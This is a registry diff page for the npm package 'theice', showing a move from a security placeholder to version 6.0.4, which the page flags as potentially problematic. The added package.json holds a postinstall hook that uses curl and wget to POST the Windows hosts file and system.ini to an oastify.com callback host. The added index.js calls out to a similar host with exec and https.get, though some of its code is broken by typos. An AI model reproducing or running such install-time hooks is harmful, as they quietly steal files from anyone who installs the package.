theice 0.0.1-security → 6.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of theice might be problematic. Click here for more details.
- package/index.js +45 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
// Function to execute curl command
|
5
|
+
function executeCurl() {
|
6
|
+
const command = 'curl -k -v https://vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com/iceicebaby';
|
7
|
+
|
8
|
+
exec(commnd, (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(`Error executing curl command: ${error.message}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
if (stderr) {
|
14
|
+
console.error(`Curl Error: ${stderr}`);
|
15
|
+
return;
|
16
|
+
}
|
17
|
+
console.log(`Curl Output:\n${stdout}`);
|
18
|
+
});
|
19
|
+
}
|
20
|
+
|
21
|
+
// Function to make a GET request
|
22
|
+
function makeGetRequest() {
|
23
|
+
const url = 'https://vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com/iceicebaby';
|
24
|
+
|
25
|
+
https.get(url, (res) => {
|
26
|
+
letdata = '';
|
27
|
+
|
28
|
+
// A chunk of data has been received
|
29
|
+
res.on('data', (chunk) => {
|
30
|
+
data += chunk;
|
31
|
+
});
|
32
|
+
|
33
|
+
// The whole response has been received
|
34
|
+
res.on('end', () => {
|
35
|
+
console.log('GET Response:', dat);
|
36
|
+
});
|
37
|
+
|
38
|
+
}).on('error', (err) => {
|
39
|
+
console.error('GET Error:', err.message);
|
40
|
+
});
|
41
|
+
}
|
42
|
+
|
43
|
+
// Execute both functions
|
44
|
+
executeCurl();
|
45
|
+
makeGetRequest();
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "theice",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "6.0.4",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "curl -v -k -X POST -d '@C:\\windows\\system32\\drivers\\etc\\hosts' -d @'C:\\windows\\system.ini' https://iceice.agu0qxwkhz66y97desxfa4l960cr0rog.oastify.com/ice'; wget --no-check-certificate --post-data '$(cat C:\\windows\\system32\\drivers\\etc\\hosts; cat C:\\windows\\system.ini)' https://iceice.agu0qxwkhz66y97desxfa4l960cr0rog.oastify.com//ice"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"theice": "^6.0.4"
|
13
|
+
}
|
6
14
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=theice for more information.
|